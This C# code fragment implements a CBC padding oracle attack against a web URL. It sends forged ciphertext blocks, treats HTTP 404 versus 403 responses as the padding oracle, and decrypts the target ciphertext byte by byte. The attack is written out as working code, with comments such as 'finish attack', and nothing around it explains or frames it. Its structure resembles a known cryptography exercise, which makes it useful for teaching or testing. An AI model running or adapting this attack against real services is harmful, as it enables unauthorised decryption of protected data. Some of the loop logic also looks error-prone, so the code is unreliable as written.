private void UpdateResult(object sender, DownloadDataCompletedEventArgs e)
{
if ((e.Error != null && e.Error is WebException) || e.Result != null) {
var exception = e.Error as WebException;
HttpWebResponse response = null;
if (exception != null)
{
response = exception.Response as HttpWebResponse;
}
Suggestion nextSymbolGuess;
var correctGuess = e.UserState as Suggestion;
if ((e.Error == null && e.Result != null) || response.StatusCode == HttpStatusCode.NotFound)
{
// correct guess
_result[15 - correctGuess.Position] = correctGuess.Code;
// finish to decipher a block
if (correctGuess.Position + 1 >= 16)
{
_message += CipherHelper.GetASCIIString(_result);
OnFinishGuess();
_result = new byte[16];
nextSymbolGuess = new Suggestion(255, 0, correctGuess.Block + 1);
if (nextSymbolGuess.Block >= 3)
{
// finish attack
return;
}
}
else
{
nextSymbolGuess = new Suggestion(255, (byte)(correctGuess.Position + 1), correctGuess.Block);
}
}
else if (response.StatusCode == HttpStatusCode.Forbidden)
{
// incorrect guess
if (correctGuess.Code == 0)
throw new ArgumentException("All suggestions are incorrect");
nextSymbolGuess = new Suggestion((byte)(correctGuess.Code - 1), correctGuess.Position, correctGuess.Block);
}
else
{
throw new ArgumentOutOfRangeException("Strange Response");
}
SendMessage(nextSymbolGuess);
}
}
private void SendMessage(Suggestion suggestion)
{
var guessUrl = _url + this.GetGuessCipherText(suggestion);
_client.DownloadDataAsync(new Uri(guessUrl.ToLowerInvariant()), suggestion);
}
private string GetGuessCipherText(Suggestion guess)
{
string result = String.Empty;
var index = 0;
while (index < guess.Block)
{
result += _cipherText[index++];
}
var cipherBytes = CipherHelper.ConvertFromHexString(_cipherText[guess.Block]).ToArray<byte>();
var guessBytes = GetGeussBytes(guess);
var attackerBytes = CipherHelper.Xor(cipherBytes, guessBytes).ToArray<byte>();
result += CipherHelper.GetHexValue(attackerBytes);
result += _cipherText[guess.Block + 1];
return result;
}
public void Start(){
var firstGuess = new Suggestion(255, 0, 0);
SendMessage(firstGuess);
}
private byte[] GetGeussBytes(Suggestion guess) {
var res = new byte[16];
int index = 15;
do
{
res[index--] = (byte)(guess.Position + 1);
} while (15 <= guess.Position + index);
res[15 - guess.Position] = CipherHelper.Xor(new byte[] {res[15 - guess.Position]},
new byte[] {guess.Code})[0];
index = 15;
while(15 - index < guess.Position) {
res[index] = CipherHelper.Xor(new byte[] { res[index] }, new byte[] { _result[index] })[0];
index--;
}
return res;
}
